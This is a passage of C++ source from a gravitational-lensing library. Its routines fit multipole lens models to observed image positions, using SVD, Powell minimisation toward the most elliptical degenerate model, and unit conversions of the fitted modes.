// ============= // Otherwise we keep the last computed modes and display them : std::cout << std::endl << "Perturbation modes (in LensHaloFit::FindLensSimple) :" << std::endl; for(int i=0;i<perturb_Nmodes;++i) std::cout << perturb_modes[i] << " " ; std::cout << std::endl; return ReturnCode ; } /** * * \brief Wrapper that allows simple lens to be found with a single * lens with a single source and translates result into data structures used in the other code. * * The lens is centered on [0,0] source position in lens is updated along with all the modes. * */ void LensHaloFit::FindLensSimple( ImageInfo *imageinfo /// Positions of images relative to center of lens. Only imageinfo[].centoid[] is used. Centroids must be in radians. ,int Nimages /// input number of images ,double *y /// output source position ,double **dx_sub /// dx_sub[Nimages][2] pre-calculated deflections caused by substructures or external masses at each image (in radians) ){ assert(Nimages < 200); if(perturb_Nmodes <= 0 || Nimages <= 0){ ERROR_MESSAGE(); std::printf("must set perturb_Nmodes lens->perturb_Nmodes = %i Nimages = %i \n" ,perturb_Nmodes,Nimages); exit(1); } int i; //PrintAnaLens(lens,false,false); //for(i=0;i<Nimages;++i) std::printf(" x = %e %e\n",image_positions[i].x[0],image_positions[i].x[1]); if(Nimages == 1){ for(i=1;i<perturb_Nmodes;++i) perturb_modes[i] = 0.0; y[0] = imageinfo[0].centroid[0]; // (radians) y[1] = imageinfo[0].centroid[1]; // (radians) return ; } int pairing[Nimages],Nsources = 1; double **xob,**xg,q[6],*mods; double re2 = 0,x_center[2],scale; //for(int i=0;i<6;i++) q[i] = 0.; // !!! need to set initial guess to something xob = dmatrix(0,Nimages-1,0,1); // For the rescaled positions of the images xg = dmatrix(0,1,0,1); mods = dvector(0,perturb_Nmodes + 2*Nsources + 1 ); xg[0][0] = xg[0][1] = 0.0; x_center[0] = x_center[1] = 0.0; // calculate scale to re-normalize (in radians). Otherwise the linear algebra routines will fail. for(i=0,scale=0;i<Nimages;++i) scale = DMAX(scale,sqrt( pow(imageinfo[0].centroid[0] - imageinfo[i].centroid[0],2) + pow(imageinfo[0].centroid[1] - imageinfo[i].centroid[1],2) ) ); for(i=0;i<Nimages;++i){ pairing[i] = 1; xob[i][0] = imageinfo[i].centroid[0]/scale; // xob is rescaled here (i.e. values = xob / xobmax ~ 1) xob[i][1] = imageinfo[i].centroid[1]/scale; // i.e. xob is dimensionless dx_sub[i][0] /= scale; // same with dx_sub now in units of scale dx_sub[i][1] /= scale; // in units of scale //std::printf("xob = %e %e dx = %e %e\n",xob[i][0],xob[i][1],dx_sub[i][0],dx_sub[i][1]); } x_center[0] /= scale; // x_center now in units of scale x_center[1] /= scale; //ERROR_MESSAGE(); ElliptisizeLens(Nimages,Nsources,1,pairing,xob,x_center,xg,0,perturb_beta,perturb_Nmodes ,mods,dx_sub,&re2,q); // The -1 in after perturb_Nmodes WAS MAKING FINDLENSSIMPLE UNSTABLE ! // At this point we should have : // mod[0] = 0 // mod[1] and mod[2] : in units of scale (i.e. dimensionless) // mod[3] and further : in units of scale^(beta-1) = 1 (i.e. no units) for beta = 1 // Assigning the modes : for(int j=1;j<perturb_Nmodes;++j) perturb_modes[j] = mods[j]; cout << "# " ; for(int j=1;j<perturb_Nmodes;++j) cout << perturb_modes[j] << " " ; cout << endl ; perturb_modes[0] = 0.0; perturb_modes[1] *= -1; // checked perturb_modes[2] *= -1; // checked // source position : y[0] = mods[perturb_Nmodes+1]*scale; y[1] = mods[perturb_Nmodes+2]*scale; // y[0] and y[1] are now in radians. // std::cout << "i = " << i << std::endl ; std::cout << "scale = " << scale << std::endl; std::cout << "source : y[0] = " << y[0] << " , y[1] = " << y[1] << std::endl; // For convenience : PosType zl = LensHalo::getZlens() ; PosType zs = zsource_reference ; // Converting source position to physical angle : // y[0] *= Dl * (1+zl) / (Ds * (1+zs)) ; // y[1] *= Dl * (1+zl) / (Ds * (1+zs)) ; // y[0] and y[1] are still in radians. // dx_sub and x_center back in radians : for(i=0;i<Nimages;++i) { dx_sub[i][0] *= scale; dx_sub[i][1] *= scale; } x_center[0] *= scale; x_center[1] *= scale; //Einstein_ro = 0.0; // the monople is now included in the modes //sigma = 0.0; // ===== Applying factors to the modes ====================================================== // Multiplying the first 3 modes by scale : for(i=3;i<perturb_Nmodes;i++) perturb_modes[i] *= scale ; // Important step ! // mod[0,1,2] are already in radians (see in ElliptisizeLens). // mod[3,4,5,...] are now in radians. for(i=3;i<perturb_Nmodes;i++) perturb_modes[i] *= Dl ; // mod[0,1,2] are in radians. // mod[3,4,5,...] are now in PhysMpc. // Check that Dl*(1+zl) + Dls*(1+zs) = Ds*(1+zs), i.e. that D*(1+z) are here the comoving distances : assert(Dl*(1+zl) + Dls*(1+zs) - Ds*(1+zs) == 0.); // std::cout << "Dl (1+zl) + Dls (1+zs) = " << Dl*(1+zl) + Dls*(1+zs) << " , Ds (1+zs) = " << Ds*(1+zs) << std::endl ; for(i=0;i<perturb_Nmodes;i++) perturb_modes[i] /= (4*PI*Grav * Dls * Dl / Ds) ; // mod[0,1,2] are now in radians / ((PhysMpc / mass) * PhysMpc) = mass / PhysMpc^2. // mod[3,4,5,...] are now in PhysMpc / ((PhysMpc / mass) * PhysMpc) = mass / PhysMpc for beta = 1. // ========================================================================================== // ================================================ // So when the modes go out they are in the units : // mod[0,1,2] in mass / PhysMpc^2. // mod[3,4,5,...] in mass / PhysMpc. // ================================================ // Print modes : // for(i=0;i<perturb_Nmodes;i++) std::cout << perturb_modes[i] << " " ; // std::cout << std::endl ; free_dmatrix(xob,0,Nimages-1,0,1); free_dmatrix(xg,0,1,0,1); free_dvector(mods,0,perturb_Nmodes + 2*Nsources + 1); // storing q : for(int i = 0 ; i < 7 ; i++) qpriv[i] = q[i] ; return ; } // OPERATIONS ON THE MODES BEFORE I DISCOVER THE PROBLEM : // for(i=3;i<perturb_Nmodes;i++) perturb_modes[i] *= scale ; // for(i=3;i<perturb_Nmodes;i++) perturb_modes[i] *= Dl ; // for(i=0;i<perturb_Nmodes;i++) perturb_modes[i] /= (4*PI*Grav * Dls * (1+zs)) ; // test solutions (removed from the code above) : /* { PosType alpha[2]; KappaType gamma[2],phi; for(int i=0 ; i<4 ; i++) { xob[i][0] *= scale ; xob[i][1] *= scale ; } // std::cout << "/// In HaloFit ///" << std::endl ; // std::cout << "test FindLensSimple solution" << std::endl; // std::cout << "perturb_beta = " << perturb_beta << " , perturb_Nmodes = " << perturb_Nmodes << std::endl ; // std::cout << "Modes in FindLensSimple before calling lens_expand :" << std::endl ; // for(int i=0 ; i<perturb_Nmodes ; i++) std::cout << perturb_modes[i] << " " ; // std::cout << std::endl ; // Here mod[0,1,2] are dimensionless and mod[4,5,...] are in radians so that alpha is in radians ! for(int i=0;i<Nimages;++i){ lens_expand(perturb_beta,perturb_modes,perturb_Nmodes-1,xob[i],alpha,gamma,&phi); // The -1 is needed here too ! std::cout << "xob : @@@ " << xob[i][0] << " " << xob[i][1] << " @@@" << std::endl ; std::cout << "alpha in FindLensSimple : ??? " << alpha[0] << " " << alpha[1] << " ???" << std::endl; // std::cout << "source in FindLensSimple : !!! " << xob[i][0] - alpha[0] << " " << xob[i][1] - alpha[1] << " !!!" << std::endl; } } */ /** L2 * \brief Find most elliptical lens * ****** *** Output: *** * - mod[] - [1...Nmod+2*Nsources] modes of final model * - re2 - Einstein radius of additional lens * - q[1] - ellipticity of nearest elliptical lens * - q[2] - position angle of nearest elliptical lens * - if sigG == 0 * - q[3] - re2 of additional lens if Nlenses = 2, copied to re2 * - if sigG > 0 * - q[3,4] - center of lens, copied to x_center * - q[5] - re2 of additional lens if Nlenses = 2, copied to re2 * - q[6] ??? * ************************************* **************************************/ double LensHaloFit::ElliptisizeLens( int Nimages /// number of images ,int Nsources /// number of sources ,int Nlenses /// number of lens centers ,int *pairing /// [0...Nimages-1] which source each image belongs to, indexed 1 through Nsources ,double **xob /// [0...Nimages-1][0...1] observed image positions (in units of scale when used in LensHaloFit::FindLensSimple) ,double *x_center /// x_center[][] - ??? expected center of lens (in units of scale when used in LensHaloFit::FindLensSimple) ,double **xg /// ??? [0...Nlenses-1][0...1] centers of additional lenses ,double sigG /// amount by which the center of the lens is allowed to vary ,double beta /// - slope of density profile kappa propto r^-beta ,int Nmod /// number of modes used in lens fitting, this must be greater then ??? ,double *mod /// Axial modes of lens model (to be computed here) ,double **dx_sub /// [0,Nimages-1][0,1] deflection offset for each image caused by any masses not included in the host model, ex substructure (in units of scale when used in LensHaloFit::FindLensSimple) ,double *re2 /// Einstein radius of additional lens (to be computed here) ,double *q /// output, see comment (to be computed here) ){ int iter,i; double **xi,sm; static int count=0; double s; assert(Nimages > 1); assert(Nsources > 0); assert(Nlenses > 0); for(i=0;i<Nimages;++i) assert(pairing[i] > 0 && pairing[i] <= Nimages); //std::printf("x_center = %e %e\n",x_center[0],x_center[1]); //std::printf("sigG = %e\n",sigG); ++count; // allocate memory pairingT=ivector(0,Nimages-1); xobT=dmatrix(0,Nimages-1,0,1); dx_subT=dmatrix(0,Nimages-1,0,1); modT=dvector(1,Nmod+2*Nsources+1); modTT=dvector(1,Nmod+2*Nsources+1); modoT=dvector(1,Nmod+2*Nsources+1); vT=dmatrix(1,Nmod+2*Nsources+1,1,Nmod+2*Nsources+1); xgT=dmatrix(0,Nlenses-1,0,1); if(Nlenses>1) dx_subTt=dmatrix(0,Nimages-1,0,1); // copy input parameters into global variables NimagesT=Nimages; NsourcesT=Nsources; betaT=beta; NmodT=Nmod; sigGT=sigG; // clean modes to zero (in case it was not done before calling the function) for(i=1;i<=Nmod+2*Nsources+1;++i) mod[i]=0.0; // copying the input objects for(i=0;i<Nimages;++i){ xobT[i][0] = xob[i][0]; xobT[i][1] = xob[i][1]; pairingT[i] = pairing[i]; dx_subT[i][0] = dx_sub[i][0]; dx_subT[i][1] = dx_sub[i][1]; if(Nlenses>1 && count>1 ){ s=atan2(xg[1][1]-xob[i][1],xg[1][0]-xob[i][0]); dx_subT[i][0] = dx_sub[i][0] + *re2*cos(s); dx_subT[i][1] = dx_sub[i][1] + *re2*sin(s); } } for(i=0;i<Nlenses;++i){ xgT[i][0] = xg[i][0]; xgT[i][1] = xg[i][1]; } // find lens with degeneracy information find_lens(NimagesT,NsourcesT,pairingT,xobT,x_center,betaT,NmodT,&degenT,modT,vT,dx_subT); // Looking inside find_lens, we have : // mod[0] : not touched, it is zero // mod[1] and mod[2] : in units of scale when used in LensHaloFit::FindLensSimple // mod[3] and further : in units of scale^(beta-1) = 1 (i.e. no units) when used in LensHaloFit::FindLensSimple and for beta = 1 //std::printf("found model\n"); for(i=1;i<=Nmod+2*Nsources+1;++i) mod[i] = modT[i]; /* * find the most elliptical model amongst the degenerate models that * fit the image positions */ //return sm; //if(count == 1){ q[1] = 0.9; q[2] = 0.0; /*find_axis(modT,NmodT);*/ //} x_centerT[0] = x_center[0]; x_centerT[1] = x_center[1]; xi=dmatrix(1,5,1,5); xi[1][1]=0.01; xi[1][2]=0.00; xi[1][3]=0.0; xi[1][4]=0.0; xi[1][5]=0.0; xi[2][1]=0.00; xi[2][2]=1.0e-3; xi[2][3]=0.0; xi[2][4]=0.0; xi[2][5]=0.0; xi[3][1]=0.00; xi[3][2]=0.0; xi[3][3]=1.0e-3; xi[3][4]=0.0; xi[3][5]=0.0; xi[4][1]=0.00; xi[4][2]=0.0; xi[4][3]=0.0; xi[4][4]=1.0e-3; xi[4][5]=0.0; xi[5][1]=0.00; xi[5][2]=0.0; xi[5][3]=0.0; xi[5][4]=0.0; xi[5][5]=1.0e-3; oldsm=-1; if(sigG == 0.0){ /// keep center of lens fixed if(Nlenses==1 || count>1){ Nmin=2; powellD(q,xi,Nmin,1.0e-18,&iter,&sm,minEllip); // This should not affect the units of the modes. }else{ Nmin=3; if(count == 1) q[3]=1.0e-5; powellD(q,xi,Nmin,1.0e-18,&iter,&sm,minEllip); *re2=q[3]; } }else{ q[3] = x_center[0]; q[4] = x_center[1]; if(Nlenses==1){ Nmin=4; powellD(q,xi,Nmin,1.0e-18,&iter,&sm,minEllip); *re2=0.0; }else{ Nmin=5; if(count == 1) q[5]=0.001; powellD(q,xi,Nmin,1.0e-18,&iter,&sm,minEllip); *re2=q[5]; } x_center[0] = q[3]; x_center[1] = q[4]; } for(i=1;i<=Nmod+2*Nsources+1;++i) mod[i]=modTT[i]; //std::printf("iter = %i\n",iter); free_ivector(pairingT,0,Nimages-1); free_dmatrix(xobT,0,Nimages-1,0,1); free_dmatrix(dx_subT,0,Nimages-1,0,1); free_dvector(modT,1,Nmod+2*Nsources+1); free_dvector(modTT,1,Nmod+2*Nsources+1); free_dvector(modoT,1,Nmod+2*Nsources+1); free_dmatrix(vT,1,Nmod+2*Nsources+1,1,Nmod+2*Nsources+1); free_dmatrix(xgT,0,Nlenses-1,0,1); if(Nlenses>1) free_dmatrix(dx_subTt,0,Nimages-1,0,1); free_dmatrix(xi,1,5,1,5); return sm; } /// minimized to find model closest to elliptical double minEllip(double *par){ double K,E,q,theta,sm,r,s; int i; static double x_center[2]; q=par[1]; // ellipticity theta=par[2]; // position angle // set modo to elliptical model for(i=1;i<=NmodT;++i){ modoT[i]=0; } // elliptical integrals K = rfD(0,1./q/q,1); E = K - (1-1./q/q)*rdD(0,1./q/q,1)/3; // fill in modes with their values for an elliptical lens modoT[3]=4*K/PI; if(q != 1.0){ if(NmodT>3) modoT[4] =4*( (1+q*q)*K-2*q*q*E )/(1-q*q)/PI/(1-4); if(NmodT>7) modoT[8] =4*( (3*q*q+1)*(q*q+3)*K-8*q*q*(1+q*q)*E ) /( 3*PI*pow(1-q*q,2) )/(1-16); if(NmodT>11) modoT[12] =4*( (1+q*q)*(15+98*q*q+15*q*q*q*q)*K-2*q*q*(23+82*q*q+23*q*q*q*q)*E ) /( 15*PI*pow(1-q*q,3) )/(1-36); if(NmodT>15) modoT[16]=4*( -32*q*q*(1+q*q)*(11+74*q*q+11*q*q*q*q)*E +(105+1436*q*q+3062*q*q*q*q+1436*pow(q,6)+105*pow(q,8))*K ) /(105*PI*pow(1-q*q,4))/(1-64); } // rotate model RotateModel(theta,modoT,NmodT,NsourcesT); // xobT is used as a dumby variable x_center[0]=x_centerT[0]; x_center[1]=x_centerT[1]; if(Nmin == 3){ for(i=1;i<=NimagesT;++i){ // add in second lens s=atan2(xgT[1][1]-xobT[i-1][1],xgT[1][0]-xobT[i-1][0]); dx_subTt[i-1][0]=dx_subT[i-1][0] + par[3]*cos(s); dx_subTt[i-1][1]=dx_subT[i-1][1] + par[3]*sin(s); } find_lens(NimagesT,NsourcesT,pairingT,xobT,x_centerT,betaT,NmodT,&degenT,modT,vT,dx_subTt); } if(Nmin == 4){ if(par[3] != x_center[0] || par[4] != x_center[1]){ x_center[0]=par[3]; x_center[1]=par[4]; find_lens(NimagesT,NsourcesT,pairingT,xobT,x_center,betaT,NmodT,&degenT,modT,vT,dx_subT); } } if(Nmin == 5){ /** add in second lens **/ if(par[3] != x_center[0] || par[4] != x_center[1]){ x_center[0]=par[3]; x_center[1]=par[4]; } for(i=1;i<=NimagesT;++i){ /** add in second lens **/ s=atan2(xgT[1][1]-xobT[i-1][1],xgT[1][0]-xobT[i-1][0]); dx_subTt[i-1][0]=dx_subT[i-1][0] + par[5]*cos(s); dx_subTt[i-1][1]=dx_subT[i-1][1] + par[5]*sin(s); } find_lens(NimagesT,NsourcesT,pairingT,xobT,x_center,betaT,NmodT,&degenT,modT,vT,dx_subTt); } // find most elliptical model sm=regularize(NmodT,3,NmodT,NsourcesT,degenT,modT,vT,modoT); if( sm < oldsm || oldsm < 0.0){ oldsm=sm; for(i=1;i<=NmodT+2*NsourcesT+1;++i) modTT[i]=modT[i]; } //std::printf("q=%e theta=%e gamma=%e %e\n",q,theta*180/PI,modT[1],modT[2]); //std::printf("%e %e %e %e %e %e\n",modoT[3],modoT[4],modoT[5],modoT[6],modoT[7],modoT[8]); //std::printf("%e %e %e %e %e %e\n\n",modT[3],modT[4],modT[5],modT[6],modT[7],modT[8]); // keep orientation within range if(theta > PI/2) sm *= exp( (theta - PI/2)/1.0e-5 ); if(theta < -PI/2 ) sm *= exp( -(theta - PI/2)/1.0e-5 ); // keep center of lens within sigG if(Nmin == 4 || Nmin == 5){ r=pow(x_center[0]-x_centerT[0],2) + pow(x_center[1]-x_centerT[1],2); if(sqrt(r) > sigGT ) sm *= exp( 10*(r-sigGT*sigGT)/sigGT/sigGT ); } if(fabs(log10(q)) > 2) sm *=exp( pow( (fabs(log10(q))- 2)/0.0001 ,2) ); //sm *= exp( (modT[1]*modT[1] + modT[2]*modT[2])/pow(0.01,2) ); return sm; } /** L2 * * \brief Calculates a lens that fits the image positions * * dx_sub[] is a perturbation to the deflection angle calculated elsewhere * * - [1]=gamma1 * - [2]=gamma2 * - [3]=ao *******************************************************/ //void AnaNSIELensHalo::find_lens(int Nimages,int Nsources,int *pairing,double **xob,double *x_center,double beta void find_lens(int Nimages,int Nsources,int *pairing,double **xob,double *x_center,double beta,int Nmodes,int *degen,double *mod,double **v,double **dx_sub){ double **c,*b,*w,r,theta,wmax,**a,*y,*temp,**x; int i,k,j; if(Nmodes+2*Nsources < 2*Nimages){ std::printf("ERROR: too few parameters in find_lens\n"); exit(0);} y=dvector(0,1); temp=dvector(0,1); x=dmatrix(0,Nimages-1,0,1); c=dmatrix(1,2*Nimages+1,1,Nmodes+2*Nsources+1); a=dmatrix(1,2*Nimages+1,1,Nmodes+2*Nsources+1); b=dvector(1,2*Nimages+1); w=dvector(1,Nmodes+2*Nsources+1); /* x= Utilities::PosTypeMatrix(0,Nimages-1,0,1); c= Utilities::PosTypeMatrix(1,2*Nimages+1,1,Nmodes+2*Nsources+1); a= Utilities::PosTypeMatrix(1,2*Nimages+1,1,Nmodes+2*Nsources+1); */ betaT = beta; NmodT = Nmodes; // recenter on lens center for(i=0;i<Nimages;++i){ x[i][0]=xob[i][0]-x_center[0]; x[i][1]=xob[i][1]-x_center[1]; //std::printf("%e %e\n",x[i][0],x[i][1]); } // fill in data matrix for(i=1;i<=Nimages;++i){ r = sqrt( x[i-1][0]*x[i-1][0] + x[i-1][1]*x[i-1][1] ); theta = atan2(x[i-1][1],x[i-1][0]); // shear from mod[1] and mod[2] c[2*i-1][1]= -x[i-1][0]; c[2*i-1][2]= -x[i-1][1]; c[2*i][1] = x[i-1][1]; c[2*i][2] = -x[i-1][0]; // monopole from mod[3] c[2*i-1][3]= 0.5*beta*pow(r,beta-1)*cos(theta); c[2*i][3] = 0.5*beta*pow(r,beta-1)*sin(theta); // contributions from higher modes for(j=4;j<=Nmodes-1;j+=2){ k=j/2; c[2*i-1][j] = (beta*cos(theta)*cos(k*theta)+k*sin(theta)*sin(k*theta))*pow(r,beta-1); c[2*i-1][j+1]= (beta*cos(theta)*sin(k*theta)-k*sin(theta)*cos(k*theta))*pow(r,beta-1); c[2*i][j] = (beta*sin(theta)*cos(k*theta)-k*cos(theta)*sin(k*theta))*pow(r,beta-1); c[2*i][j+1]= (beta*sin(theta)*sin(k*theta)+k*cos(theta)*cos(k*theta))*pow(r,beta-1); } // assign images to sources for(j=0;j<Nsources;++j){ if(pairing[i-1]==j+1){ c[2*i-1][2*j+Nmodes+1] = 1; c[2*i-1][2*j+Nmodes+2] = 0; c[2*i][2*j+Nmodes+1] = 0; c[2*i][2*j+Nmodes+2] = 1; }else{ c[2*i-1][2*j+Nmodes+1] = 0; c[2*i-1][2*j+Nmodes+2] = 0; c[2*i][2*j+Nmodes+1] = 0; c[2*i][2*j+Nmodes+2] = 0; } } b[2*i-1] = x[i-1][0] + dx_sub[i-1][0]; b[2*i] = x[i-1][1] + dx_sub[i-1][1]; /*std::printf("dx_sub = %e %e\n",dx_sub[i-1][0],dx_sub[i-1][1]);*/ } // preserve image data matrix for(i=1;i<=2*Nimages;++i){ for(j=1;j<=Nmodes+2*Nsources;++j){ a[i][j] = c[i][j]; } } //**** fit largest modes to first four images *** // SVD decomposition svdcmpD(c,2*Nimages,Nmodes+2*Nsources,w,v); // weed out small w's wmax=0.0; *degen=0; for(i=1;i<=Nmodes+2*Nsources;++i) if (w[i] > wmax) wmax=w[i]; wmax=1.0e-6*wmax; for(i=1;i<=Nmodes+2*Nsources;++i) if (w[i] < wmax){ w[i]=0.0; ++*degen;} // removes degenerate modes //ERROR_MESSAGE(); svbksbD(c,w,v,2*Nimages,Nmodes+2*Nsources,b,mod); //for(i=1;i<=Nmodes + 2*Nsources;++i) std::printf("mod[%i]=%e\n",i,mod[i]); //for(i=1;i<=Nmodes + 2*Nsources;++i) std::printf("w[%i]=%e\n",i,w[i]); /* find degeneracy vectors * and make them the first *degen columns of v * mod[i] + a_1 v[i][1] + ... + a_degen v[i][degen] is a solution **/ for(i=1,j=0;i<=Nmodes+2*Nsources+1;++i){ if (w[i] == 0.0){ ++j; for(k=1;k<=Nmodes+2*Nsources+1;++k){ v[k][j]=v[k][i]; } } } //******************************************************************** //for(i=1;i<=N+2*Nsources;++i) std::printf("%e\n",modo[i]); free_dvector(y,0,1); free_dvector(temp,0,1); free_dmatrix(x,0,Nimages-1,0,1); free_dmatrix(c,1,2*Nimages+1,1,Nmodes+2*Nsources+1); free_dmatrix(a,1,2*Nimages+1,1,Nmodes+2*Nsources+1); /*Utilities::free_PosTypeMatrix(x,0,Nimages-1,0,1); Utilities::free_PosTypeMatrix(c,1,2*Nimages+1,1,Nmodes+2*Nsources+1); Utilities::free_PosTypeMatrix(a,1,2*Nimages+1,1,Nmodes+2*Nsources+1); */ free_dvector(b,1,2*Nimages+1); free_dvector(w,1,Nmodes+2*Nsources+1); return ; } /** * \brief Sets the perturbation modes in the LensHaloFit * */ void LensHaloFit::set_perturbmodes(PosType * ListModes, const int Nmodes) { perturb_Nmodes = Nmodes ; for(int i=0; i < Nmodes; i++) perturb_modes[i] = ListModes[i]; return ; } /** * \brief Gets the perturbation modes in the LensHaloFit * */ void LensHaloFit::get_perturbmodes(PosType * ListModes, const int Nmodes) { assert(Nmodes == perturb_Nmodes); for(int i=0 ; i < perturb_Nmodes ; i++) { ListModes[i] = perturb_modes[i] ; } return ; }; /** * \brief Gets the perturbation modes in the LensHaloFit * */ void LensHaloFit::get_perturbmodes(std::vector<PosType> & ListModes) { assert(ListModes.size() == perturb_Nmodes); for(int i=0 ; i < perturb_Nmodes ; i++) { ListModes[i] = perturb_modes[i] ; } return ; }; /** L2 * * \brief calculate the sources position, surface density and magnification at x * given lens model * - mod given * - Re2 - Einstein radius of second lens * - x2 - position of second lens relative to center of lens ***************************************************************/ double LensHaloAnaNSIE::deflect_translated(double beta,double *mod,double *x,double *y,double *mag,int Nmodes ,int Nlenses,double Re2,double *x2){ KappaType kappa,gamma[2]; KappaType *phi = new KappaType ; if(mod[0] != 0.0){ERROR_MESSAGE(); std::printf("background kappa should be zero\n"); exit(0);} assert(Nlenses < 3); // use deflection calculator to reduce code duplication kappa = lens_expand(beta,mod,Nmodes,x,y,gamma,phi); // Shouldn't it be Nmodes-1 ? // translate result to convention used here /// changed from alpha to y, also convention on shear is opposite y[0] = x[0] + 2*(x[0]*mod[1] + x[1]*mod[2]) - y[0]; y[1] = x[1] - 2*(x[1]*mod[1] + x[0]*mod[2]) - y[1]; mag[0] = 1 - kappa - gamma[0]; mag[1] = 1 - kappa + gamma[0]; mag[3] = -gamma[1]; /* theta=atan2(x[1],x[0]); r=sqrt(x[0]*x[0] + x[1]*x[1]); cosx=x[0]/r; sinx=x[1]/r; */ /* F=0.5*mod[3]; F1=0; F2=0; for(i=4;i<=Nmodes-1;i+=2){ k=i/2; F += mod[i]*cos(k*theta) + mod[i+1]*sin(k*theta); F1+=-mod[i]*k*sin(k*theta) + mod[i+1]*k*cos(k*theta); F2+=-mod[i]*k*k*cos(k*theta) - mod[i+1]*k*k*sin(k*theta); } y[0] = -pow(r,beta-1)*(beta*cosx*F - sinx*F1); y[1] = -pow(r,beta-1)*(beta*sinx*F + cosx*F1); // add shear y[0] += x[0] + x[0]*mod[1] + x[1]*mod[2]; y[1] += x[1] - x[1]*mod[1] + x[0]*mod[2]; */ /* // magnification matrix in polar coordinates dxdr= (1+mod[1])*cosx + mod[2]*sinx - (beta-1)*pow(r,beta-2)*(beta*cosx*F-sinx*F1); dxda=-(1+mod[1])*r*sinx + mod[2]*r*cosx + pow(r,beta-1)*(beta*sinx*F + (1-beta)*cosx*F1 + sinx*F2); dydr= (1-mod[1])*sinx + mod[2]*cosx - (beta-1)*pow(r,beta-2)*(beta*sinx*F+cosx*F1); dyda= (1-mod[1])*r*cosx - mod[2]*r*sinx + pow(r,beta-1)*(-beta*cosx*F + (1-beta)*sinx*F1 - cosx*F2); */ /* if(Nlenses>1){ */ /* dxdr= cosx -Re2*( sinx2*sinx2*cosx - sinx2*cosx2*sinx )/r2; */ /* dydr= sinx -Re2*( cosx2*cosx2*sinx - sinx2*cosx2*cosx )/r2; */ /* dxda= -r*sinx + r*Re2*( sinx2*sinx2*sinx + sinx2*cosx2*cosx )/r2; */ /* dyda= r*cosx - r*Re2*( cosx2*cosx2*cosx + sinx2*cosx2*sinx )/r2; */ /* } */ /** actually the inverse magnification **/ /* *mag=(dxdr*dyda - dxda*dydr)/r; */ // add additional lens if(Nlenses > 1){ double dxdr,dxda,dydr,dyda; double theta2,r2,cosx2,sinx2,r,cosx,sinx; //theta=atan2(x[1],x[0]); r=sqrt(x[0]*x[0] + x[1]*x[1]); cosx=x[0]/r; sinx=x[1]/r; theta2=atan2(x2[1]-x[1],x2[0]-x[0]); r2=sqrt( pow(x[0]-x2[0],2) + pow(x[1]-x2[1],2)); cosx2=cos(theta2); sinx2=sin(theta2); y[0] += Re2*cos(theta2); y[1] += Re2*sin(theta2); dxdr = -Re2*( sinx2*sinx2*cosx - sinx2*cosx2*sinx )/r2; dydr = -Re2*( cosx2*cosx2*sinx - sinx2*cosx2*cosx )/r2; dxda = r*Re2*( sinx2*sinx2*sinx + sinx2*cosx2*cosx )/r2; dyda =-r*Re2*( cosx2*cosx2*cosx + sinx2*cosx2*sinx )/r2; mag[0] += ( -x[1]*dxda + r*x[0]*dxdr )/r/r; /** xx **/ mag[1] += ( x[0]*dyda + r*x[1]*dydr )/r/r; /** yy **/ mag[2] += ( x[0]*dxda + r*x[1]*dxdr )/r/r; /** xy **/ return kappa + 0.5*Re2/r2; } return kappa; } /** L2 * \brief find degenerate model most like modo modulo a normalization */ double regularize(int Nmax,int Nmin,int N,int Nsources,int degen ,double *mod,double **v,double *modo){ double Dsum,sum=0,sumold,aa,*weights; int i,j; /* for(i=Nmin,sum=0.0;i<=Nmax;i+=1){ std::printf("%i %e %e\n",i,mod[i],modo[i]); } */ weights=dvector(1,degen); /* aa=mod[3]/modo[3]; */ /* for(i=3;i<=Nmax;++i) modo[i]*=aa; */ for(i=Nmin,Dsum=0;i<=Nmax;i+=1){ if(i<=3) Dsum += pow( mod[i]-modo[i],2); else Dsum += pow(1-pow(i/2,2.),2)*pow( mod[i]-modo[i],2); } sumold=Dsum; while(Dsum > 1.0e-6*sumold){ if(modo[3] != 0.0){ /** renormalize model **/ for(i=3,sum=0.0;i<=Nmax;++i){ if(i<=3) sum += mod[i]*modo[i]; else sum += pow(1-pow(i/2,2.),2)*mod[i]*modo[i]; } aa=sum; for(i=3,sum=0.0;i<=Nmax;++i){ if(i<=3) sum += modo[i]*modo[i]; else sum += pow(1-pow(i/2,2.),2.)*modo[i]*modo[i]; } aa/=sum; if(aa > 0.0) for(i=3;i<=Nmax;++i) modo[i]*=aa; } /** move in degenerate space to find best model **/ for(j=1;j<=degen;++j){ for(i=Nmin,sum=0.0;i<=Nmax;i+=1){ if(i<=3) sum += ( mod[i] - modo[i] )*v[i][j]; else sum += pow(1-pow(i/2,2.),2.)*( mod[i] - modo[i] )*v[i][j]; } weights[j]=-sum; for(i=Nmin,sum=0.0;i<=Nmax;i+=1){ if(i<=3) sum += v[i][j]*v[i][j]; else sum += pow(1-pow(i/2,2.),2)*v[i][j]*v[i][j]; } weights[j] /= sum; for(i=1;i<=N+2*Nsources+1;++i){ //std::printf("i=%i j=%i w=%e v=%e\n",i,j,weights[j],v[i][j]); if(weights[j] == weights[j]) mod[i] += weights[j]*v[i][j]; } if(sum < 0) std::printf("max found\n"); /*std::printf("weights[%i]=%e\n",j,weights[j]);*/ } for(i=Nmin,sum=0.0;i<=Nmax;i+=1){ if(i<=3) sum += pow(mod[i]-modo[i],2); else sum += pow(1-pow(i/2,2.),2.)*pow(mod[i]-modo[i],2); } Dsum=fabs(sumold-sum); /*std::printf("%e\n",sumold-sum);*/ sumold=sum; /*std::printf("Dsum=%e %e\n",Dsum,sumold);*/ } /* test result */ free_dvector(weights,1,degen); return sum; } /* double critmin(double r){ double kappa,mag[3],x[2],y[2],AA[4],angle[2],ang_lens[2]; ang_lens[0]=0; ang_lens[1]=0; x[0]=r*cos(thetaT)+xt[0]; x[1]=r*sin(thetaT)+xt[1]; kappa=deflect_translated(1.0,modT,x,y,mag,NmodT,NlensesT,Re2T,x2T); if(withsub==1){ deflection_total(x,angle,1,1,ang_lens,1,AA); return (mag[0]+AA[0]-1)*(mag[1]+AA[1]-1)-(mag[2]+AA[2])*(mag[2]+AA[3]); }else{ return mag[0]*mag[1]-mag[2]*mag[2];} } */ /************************************************** ************** rotate lens model ***************** **************************************************/ void RotateModel(double thetaX,double *mod,int N,int Nsources){ double temp[2]; int i,k; /* std::printf("rotate: theta = %e\n",thetaX);*/ temp[0]=mod[1]; temp[1]=mod[2]; mod[1]= temp[0]*cos(2*thetaX)+temp[1]*sin(2*thetaX); mod[2]=-temp[0]*sin(2*thetaX)+temp[1]*cos(2*thetaX); for(i=4;i<=N-1;i+=2){ k=i/2; temp[0]=mod[i]; temp[1]=mod[i+1]; mod[i] = temp[0]*cos(k*thetaX)+temp[1]*sin(k*thetaX); mod[i+1]=-temp[0]*sin(k*thetaX)+temp[1]*cos(k*thetaX); 